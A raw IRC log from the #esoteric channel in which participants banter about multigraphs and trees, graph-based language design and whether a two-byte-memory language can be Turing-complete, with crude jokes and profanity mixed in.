< 1267481250 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We're a perfect pair < 1267481254 0 :Cu!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: unfortunately < 1267481256 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. That's a multigraph. < 1267481259 0 :Cu!unknown@unknown.invalid PRIVMSG #esoteric :nt is not an element! < 1267481268 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Cu is an element < 1267481270 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: It is?? < 1267481270 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: were you lurking here in the hope that the channel went offtopic? < 1267481281 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I only see one node at the end of each arc... < 1267481285 0 :Cu!unknown@unknown.invalid NICK :Cn < 1267481287 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :scarf: I'm not sure. < 1267481290 0 :Cn!unknown@unknown.invalid PRIVMSG #esoteric :aw, this one is taken < 1267481302 0 :Cn!unknown@unknown.invalid PRIVMSG #esoteric :I want my copernicium :( < 1267481303 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: that's a good enough answer, I suppose < 1267481305 0 :Cn!unknown@unknown.invalid NICK :coppro < 1267481315 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: In mathematics, a multigraph or pseudograph is a graph which is permitted to have multiple edges, (also called "parallel edges"[1]), that is, edges that have the same end nodes < 1267481321 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*nodes. < 1267481325 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :QED < 1267481356 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Does this include directed graphs where the two edges go opposite directions? < 1267481377 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ooh, good question. < 1267481380 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :hm now we are talking about graphs < 1267481386 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Graph sex. < 1267481389 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I thought graphs can could not have edges that end in the same node were called "trees". < 1267481390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: I would guess yes. < 1267481395 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :s/can/that/ < 1267481414 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yeah, because a tree can express cyclic structure, innit. < 1267481417 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*structures < 1267481425 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :foo -> bar, bar -> baz, baz -> foo: A TREE < 1267481434 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :aren't trees supposed to be acyclic? < 1267481439 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: if you can have two edges AB and AB, it's a multigraph; if you can have AB and also AC+CB, it's a normal graph; a tree, if you can get from A to B one way, even indirectly, you can't get there another way < 1267481439 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :coppro: yes < 1267481447 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :directed acyclic graph = tree < 1267481451 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :In my world, trees are acyclic, yes. < 1267481468 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: that's not strong enough < 1267481475 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Right, so a non-acyclic non-multigraph graph is not a tree. < 1267481477 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :imo < 1267481477 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's just a graph. < 1267481481 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :coppro: You could require more, but whatever < 1267481496 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Any vertex should only have one edge leading to it < 1267481507 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :coppro: that's... K_2, or K_1 < 1267481508 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :why say 'tree' when you can say 'directed acyclic plant' < 1267481513 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :there are no other graphs with that property < 1267481516 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :well, undirected ones < 1267481540 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HEY GUYS < 1267481542 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HOWSIT GOIN < 1267481551 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :scarf: we're talking about directed ones < 1267481558 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I'm still confused; I don't see any edges "AB and AB" (scarf's words) in my diagram. So I don't see how it's a multigraph. < 1267481585 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I see, uh, ABCD and AEFGHD, or something similar < 1267481593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe i read the words wrong < 1267481603 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"that is, edges that have the same end nodes" < 1267481606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :not same start nodes, no? < 1267481615 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's AB and CB. Maybe I am misinterpreting. < 1267481626 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Well, I thought it was: two (direct) edges between the same two nodes. < 1267481639 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :In a tree, the path between the root and to another node must be unique < 1267481640 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(AB and AB) < 1267481643 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :HOW IS THAT < 1267481667 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Considering the diagram on the page I concede; you are right. < 1267481681 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=FJ3oHpup-pk < 1267481694 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think anonymous nodes + annotated arcs is best, because otherwise I have to have dummy nodes on lists like "list" < 1267481698 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :what are you people talking about < 1267481700 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :jesus < 1267481705 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is really just a stand-in for an anonymous node < 1267481719 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and besides, what if the name node (= arc annotation) has multiple connections from it? that makes no sense < 1267481742 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well, the 'list' labels actually make a lot of sense to me. < 1267481744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A nice thing we can have from this is that a scope/environment/whatever just has variable names as the graph annotations. < 1267481745 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: Clearly we are talking about categorical monadic parser combinators and language grammars < 1267481756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I think I'll have a typing system apart from such annotation, though. < 1267481762 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :language grammars?! < 1267481765 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hellll yeah < 1267481770 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets talk bout some grammars < 1267481771 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :they kind of reflect: data List = List head tail | Nil < 1267481772 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1267481773 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267481777 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :okay i love grammars < 1267481786 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :You need to keep repeating "List" there to conform to the "grammar" of the data type. < 1267481788 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :have i shown you my contributions to wikipedia? < 1267481791 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :no < 1267481792 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: I see what you mean. < 1267481794 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :o man < 1267481808 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Everyone kept saying "grammar" so I typed it in what I was typing. Scary.) < 1267481809 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I remember you though from whatever irc channel augur. < 1267481821 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :##compsci < 1267481824 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267481827 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But in a "graphy" language, we would say that both nil, and any node with two arcs annotated 'head and 'tail, where the latter obeys these same constraints, is a list. < 1267481831 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or maybe ##proglang < 1267481836 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :chomsky hierarchy < 1267481838 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :somewhere in that direction < 1267481840 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: I can see why you would want to cut it out though, it's all so.... verbose. < 1267481852 0 :scarf!unknown@unknown.invalid PRIVMSG #esoteric :augur: do you have to be Ada Lovelace to register #proglang? < 1267481852 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. Would you rather right < 1267481853 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*write < 1267481855 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :{'left :> {'left :> 1; 'right :> 3}; 'right :> {'left :> 2; 'right :> 4}} < 1267481856 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or < 1267481874 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i can't even bring myself to write it < 1267481875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :too ugly < 1267481891 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(1:3):(2:4) ? < 1267481900 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: http://toolserver.org/~soxred93/pages/index.php?name=Augur&namespace=0&redirects=noredirects < 1267481901 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no, the same but with tree labels everywhere < 1267481907 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :what you said would be sugar :P < 1267481907 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267481913 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :yeaaaaahhhh no. < 1267481920 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah no to what? < 1267481931 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :no, i wouldn't want to write it either. < 1267481942 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267481944 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i also added to the Indexed grammar page and the Combinatory categorial grammar page < 1267481949 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: wow < 1267481981 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Cool thing about scopes just being graphs with variable names as arc annotations: We can have a thing for "in scope" which lets us add stuff to a graph without naming it each time, and this is the same as our scoping operator. < 1267481996 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: the controlled grammar article took about a week < 1267481999 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1267482014 0 :breeden!~breeden@216-26-97-170.restechservices.net JOIN :#esoteric < 1267482017 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It also relates to the tuple-space of languages such as K: every single thing in the environment can be accessed by a list of names relative to the root of the environment. < 1267482023 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Ugh, graph of free variables in outer closures etc. < 1267482040 0 :breeden!unknown@unknown.invalid PART #esoteric :? < 1267482046 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: this is the very important stuff I have done http://en.wikipedia.org/wiki/Special:Contributions/Quadrescence < 1267482074 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i see! < 1267482082 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I guess functions should be "abstract nodes"; if we have a natural being {'pred :> natural} | 'zero - so e.g. {'pred :> {'pred :> 'zero}} is 2, then we can say 2 'pred = 1. < 1267482088 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So it is natural to wish for 2 'succ = 3. < 1267482090 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no pages created :( < 1267482111 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1267482120 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Your omission of 'list labels also permits "duck typing", for better or wose: anything that works on things that have lefts and rights, works on your structure. < 1267482120 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I am too cool I guess < 1267482124 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :But does this belong in the ubergraph itself or just as sugar in the language? After all, the whole idea is that the language is just syntax to describe graphs, and some graphs are typed and interpreted as programs. < 1267482135 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :TOO LAME YOU MEAN < 1267482135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Yes. I'm planning some sort of typing, though; just have to think about it first. < 1267482137 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267482144 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: yeah true < 1267482149 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: I do write stuff though < 1267482161 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :like I am writing a BOOK < 1267482184 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267482185 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im a total grammar nerd, and i tried looking for a lot of these grammars but couldnt find anything < 1267482191 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: In that group language of yours, the concatenation of a program with itself isn't the inverse, right? You have a separate inversing function of sorts. < 1267482191 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so i did research, found papers, books, etc. < 1267482198 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :So that part of languagespace is still open for my design. < 1267482199 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then wrote the wikipedia articles, for future curiousiters < 1267482210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wth: < 1267482210 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lspace.org/books/apf/reaper-man.html#p1516 < 1267482217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" If you have access to the Internet, you can find an online version of this story at the URL: < 1267482217 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : " < 1267482220 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: Maybe you can help me design some syntax then < 1267482223 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what do they think < 1267482225 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Correct. In general xx != e < 1267482226 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on a website... < 1267482227 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :maybe! < 1267482235 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Since my biggest concern for syntax is making the grammar easy peasy < 1267482243 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: APF Chapter 3: Discworld Annotations < 1267482252 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://www.lspace.org/books/apf/ < 1267482252 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :like lisp :))))))))))))))))) < 1267482253 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: You have to find x' for which xx' = e. But x' exists (well, in the fixed version, it does.) < 1267482254 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Organisation: Unseen University < 1267482254 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Newsgroups: alt.fan.pratchett,alt.books.pratchett < 1267482259 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, grammar for what < 1267482262 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :'nuff said < 1267482270 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: a programmin' lang' < 1267482275 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Right. What I'd like is xx = e. < 1267482282 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i see < 1267482283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, hm good point < 1267482290 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :well, most programming languages have context free grammars < 1267482292 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so < 1267482308 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: ... good luck. :) < 1267482320 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :maybe I shouldn't be simple < 1267482323 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: That ... is the sound of the language being useless, isn't it? < 1267482326 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should be complex but elegant < 1267482338 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: That is the sound of my brain stopping. < 1267482345 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: its often quite hard to find a reason why you would want the extra complexity < 1267482348 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, bit-flipping does it. < 1267482361 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1267482367 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :natural language has it, as far as i can tell, solely for efficiency < 1267482373 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: Well, the language in design is very complex itself. < 1267482376 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hey guys. < 1267482377 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but computers have no need for this. < 1267482380 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :And say we have some piece of state s=0 normally, and have an operation meaning "if s=0, move left, if s=1 move right. flip s" < 1267482382 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: calamari? < 1267482385 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ok, tell me about this language < 1267482393 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, heheh. Sorry? < 1267482409 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Glad to see #esoteric is still active. < 1267482410 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: will your language be used to program underwater exploration robots? < 1267482416 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :lament: yes < 1267482427 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*confused* < 1267482435 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Was asking if this is an alt nick for the one known as "calamari" :P < 1267482452 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: It is as statically typed as possible, but it is very dynamic in nature, um...., it will be used for mathematics < 1267482472 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :primarily for math < 1267482475 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It is flexible yet rigid, hard yet soft < 1267482479 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267482482 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :my cock? < 1267482488 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Thou art... Who? < 1267482488 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :non-newtonian fluid like < 1267482505 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :and lament-cock like < 1267482505 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I used to hang around here a while ago. < 1267482512 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, nah. < 1267482516 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Yes, just don't recall the nick. < 1267482518 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: I bet there wasn't so much gay sex then. < 1267482527 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And I've been around for quite some time. < 1267482528 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Wow >_> < 1267482528 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :alise, is there now? < 1267482538 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :alise, o.o < 1267482542 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :augur: I don't know, maybe I'll tell you about it more later < 1267482543 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: yes >) < 1267482544 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Pray tell, what nick did you use? < 1267482564 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Well, sometimes. < 1267482621 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Apparently dev_squid had not a nick in the past. < 1267482621 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, just to clear up this issue that's been bothering me for a while...if you limit a language to only being able to deal with two bytes of storage (i.e. RAM), can it still be turing-complete? < 1267482632 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1267482638 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Why not? < 1267482642 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :*deal* with? yes < 1267482646 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :*only have*? no < 1267482649 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, this is my new computer. < 1267482650 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Because it can't. < 1267482654 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Because a Turing-complete language must have unbounded memory. < 1267482661 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :True, true. < 1267482671 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Still not informing me about what nick you had previously. ;) < 1267482676 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Waaaaait wait < 1267482680 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: You can manipulate two bytes at a time and be turing complete < 1267482686 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :If it can only have two bytes of storage, but can have I/O, it may still be TC. < 1267482698 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :But could you DO anything in a 2-byte environment that you could do in a fully turing-complete environment? < 1267482709 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Not without fixed IO sources... < 1267482722 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: there isnt a machine in existence that is turing complete. < 1267482732 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its not even theoretically possible to build a turing complete machine. < 1267482738 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :he didn't say so < 1267482740 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: all your machine has is 2 bytes? < 1267482747 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise: I didn't say /any/ I/O would make it TC, but it's possible that I/O would be sufficient, with the right kind of I/O. < 1267482748 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :16 bits of memory? < 1267482753 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :augur: Hey, I've got spools of unbounded tape right here! < 1267482763 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: ;) < 1267482765 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you would < 1267482789 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I've already made the I-am-a-turing-machine-and-my-genitalia-comprise-the-tape joke. < 1267482795 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: For any program you can write for your 2-byte computer, I can tell whether it will halt eventually, or not. Therefore it's not TC. < 1267482802 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so the technical answer to your question, dev_squid, is no, your machine aint turing complete. but that doesnt matter. its a proper subclass of the turing machines, those that are Turing Complete-enough < 1267482804 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Including the corollary wrapping-universe-so-I-am-actually-sexing-myself-up subjoke. < 1267482811 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: someone has built a 4-bit computer, that's way sexier. < 1267482814 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION greps logs for dev_squid
< 1267482815 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: OR CAN YOU < 1267482820 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: o mai < 1267482826 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :cpressey, alright, alright. I didn't put that question very clearly. < 1267482827 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Definitely never had someone using that nick here. < 1267482827 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ur gettin me hawt < 1267482828 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well, not me personally. My hordes of servants. < 1267482832 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :But I get it now. < 1267482833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :augur: not turing complete enough if it only has one bit of address < 1267482840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :then it cannot be made tc without serious graft surgery < 1267482847 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :alise: depends on how you handle memory. < 1267482858 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :depends on how your mom handles memory < 1267482869 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i dont think she handles memory well < 1267482875 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :precisely < 1267482886 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i popped your mom's stack < 1267482897 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :unfortunate < 1267482933 0 :tombom_!unknown@unknown.invalid QUIT :Quit: Leaving < 1267482953 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I was just wondering if it's viable (not practical!) to construct a language that only allows the programmer to operate on two bytes of RAM on bit at a time. < 1267482959 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It would make quite the challenge. < 1267482971 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION continues to enquire
< 1267482997 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, I think that my language should allow multi-word symbols. < 1267482999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just cause. < 1267483004 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: operate on, or address using? < 1267483009 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so smallfuck with 16-cell memory < 1267483027 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :(for example) < 1267483029 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :like, the programmed can address an arbitrary number of memory cells, each of which is only 2 bytes? < 1267483042 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :programmer** < 1267483048 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :augur, no. < 1267483052 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hrm. Who hasn't been around in sufficient time to be surprised #esoteric's still active? < 1267483060 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :me < 1267483065 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :me < 1267483074 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: hcf < 1267483075 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :No wait, ... < 1267483075 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: ok, clarify then? < 1267483077 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Think of brainfsck where you're inconvenienced by having two bytes of data space to work with. < 1267483079 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Who's been *gone* for sufficient time. < 1267483083 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :me < 1267483087 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: *Brainfuck. < 1267483091 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :... ok, right. me. < 1267483098 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: i dont know jack shit about brainfuck. < 1267483105 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :cpressey was gone forever < 1267483106 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: Ah, right. < 1267483110 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and me, slightly less than that < 1267483120 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :alise, I don't really know the rules on profanity, so I just went with brainfsck. < 1267483132 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :lament: When did you wander back? Must have been shortly before me, I reckon. < 1267483142 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Fucking hell, you think we give a shit about profanity? Only an utter cunt would do that! < 1267483142 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :(Pard'ner.) < 1267483146 0 